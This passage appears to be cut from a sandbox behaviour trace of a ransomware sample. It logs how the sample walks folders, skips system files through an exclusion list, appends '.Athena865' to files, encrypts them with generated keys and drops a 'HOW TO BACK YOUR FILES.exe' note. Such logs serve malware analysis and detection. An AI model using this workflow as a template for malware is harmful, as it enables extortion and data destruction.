| out: hHeap=0x4f0000) returned 1 [0106.884] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0106.884] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.884] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0106.884] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".") returned 1 [0106.884] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="..") returned 1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="windows") returned -1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="bootmgr") returned 1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="temp") returned -1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="pagefile.sys") returned -1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="boot") returned 1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="ids.txt") returned -1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="ntuser.dat") returned -1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="perflogs") returned -1 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="MSBuild") returned -1 [0106.885] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0106.885] lstrcpyW (in: lpString1=0x241e8b8, lpString2="eqnedt32.exe.manifest" | out: lpString1="eqnedt32.exe.manifest") returned="eqnedt32.exe.manifest" [0106.885] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0106.885] lstrlenW (lpString="Athena865") returned 9 [0106.885] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0106.885] lstrlenW (lpString=".dll") returned 4 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".dll") returned 1 [0106.885] lstrlenW (lpString=".lnk") returned 4 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".lnk") returned 1 [0106.885] lstrlenW (lpString=".ini") returned 4 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".ini") returned 1 [0106.885] lstrlenW (lpString=".sys") returned 4 [0106.885] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".sys") returned 1 [0106.885] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0106.885] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.Athena865") returned 87 [0106.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.athena865"), dwFlags=0x1) returned 1 [0106.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0106.925] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=566) returned 1 [0106.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0106.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0106.926] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0106.926] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.926] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0106.926] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x540, lpName=0x0) returned 0x17c [0106.928] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x540) returned 0x100000 [0106.971] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0106.972] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.972] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0106.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0106.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0106.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.972] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0106.973] CloseHandle (hObject=0x17c) returned 1 [0106.973] CloseHandle (hObject=0x154) returned 1 [0106.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0106.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0106.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.973] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".") returned 1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="..") returned 1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="windows") returned -1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="bootmgr") returned 1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="temp") returned -1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="pagefile.sys") returned -1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="boot") returned 1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="ids.txt") returned -1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="ntuser.dat") returned -1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="perflogs") returned -1 [0106.973] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="MSBuild") returned -1 [0106.973] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0106.973] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EQNEDT32.HLP" | out: lpString1="EQNEDT32.HLP") returned="EQNEDT32.HLP" [0106.973] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0106.973] lstrlenW (lpString="Athena865") returned 9 [0106.973] lstrcmpiW (lpString1="EDT32.HLP", lpString2="Athena865") returned 1 [0106.974] lstrlenW (lpString=".dll") returned 4 [0106.974] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".dll") returned 1 [0106.974] lstrlenW (lpString=".lnk") returned 4 [0106.974] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".lnk") returned 1 [0106.974] lstrlenW (lpString=".ini") returned 4 [0106.974] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".ini") returned 1 [0106.974] lstrlenW (lpString=".sys") returned 4 [0106.974] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".sys") returned 1 [0106.974] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0106.974] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.Athena865") returned 78 [0106.974] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.athena865"), dwFlags=0x1) returned 1 [0106.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0106.975] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=176311) returned 1 [0106.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0106.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0106.975] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0106.976] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.976] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0106.976] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b3c0, lpName=0x0) returned 0x17c [0106.978] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b3c0) returned 0x170000 [0107.024] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.024] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.024] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0107.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0107.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.025] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0107.027] CloseHandle (hObject=0x17c) returned 1 [0107.027] CloseHandle (hObject=0x154) returned 1 [0107.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0107.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.028] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfa99e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0107.028] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0107.028] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".") returned 1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="..") returned 1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="windows") returned -1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="bootmgr") returned 1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="temp") returned -1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="pagefile.sys") returned -1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="boot") returned 1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="ids.txt") returned 1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="ntuser.dat") returned -1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="perflogs") returned -1 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="MSBuild") returned 1 [0107.028] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0107.028] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MTEXTRA.TTF" | out: lpString1="MTEXTRA.TTF") returned="MTEXTRA.TTF" [0107.028] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0107.028] lstrlenW (lpString="Athena865") returned 9 [0107.028] lstrcmpiW (lpString1="EXTRA.TTF", lpString2="Athena865") returned 1 [0107.028] lstrlenW (lpString=".dll") returned 4 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".dll") returned 1 [0107.028] lstrlenW (lpString=".lnk") returned 4 [0107.028] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".lnk") returned 1 [0107.029] lstrlenW (lpString=".ini") returned 4 [0107.029] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".ini") returned 1 [0107.029] lstrlenW (lpString=".sys") returned 4 [0107.029] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".sys") returned 1 [0107.029] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0107.029] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.Athena865") returned 77 [0107.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.athena865"), dwFlags=0x1) returned 1 [0107.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.030] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7656) returned 1 [0107.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0107.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.030] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.031] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.031] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.031] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20f0, lpName=0x0) returned 0x17c [0107.049] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20f0) returned 0x100000 [0107.082] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.083] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.083] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0107.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0107.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.084] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.084] CloseHandle (hObject=0x17c) returned 1 [0107.084] CloseHandle (hObject=0x154) returned 1 [0107.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0107.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.084] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0107.084] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0107.084] ReleaseMutex (hMutex=0xec) returned 1 [0107.084] CloseHandle (hObject=0xec) returned 1 [0107.084] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" [0107.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e190 | out: hHeap=0x4f0000) returned 1 [0107.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f670 | out: hHeap=0x4f0000) returned 1 [0107.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO") returned 51 [0107.085] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E28B98EAED5611D5C34C7EEC34B54BEA") returned 0xec [0107.085] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0107.085] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" [0107.085] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0107.085] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\how to back your files.exe"), bFailIfExists=1) returned 0 [0107.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0107.086] GetLastError () returned 0x0 [0107.086] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0107.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0107.086] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0107.087] CloseHandle (hObject=0xf4) returned 1 [0107.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.087] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0107.087] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfa99e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0107.087] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.087] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.087] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.087] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfa99e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.087] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.087] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.087] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.087] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.087] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfa99e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, 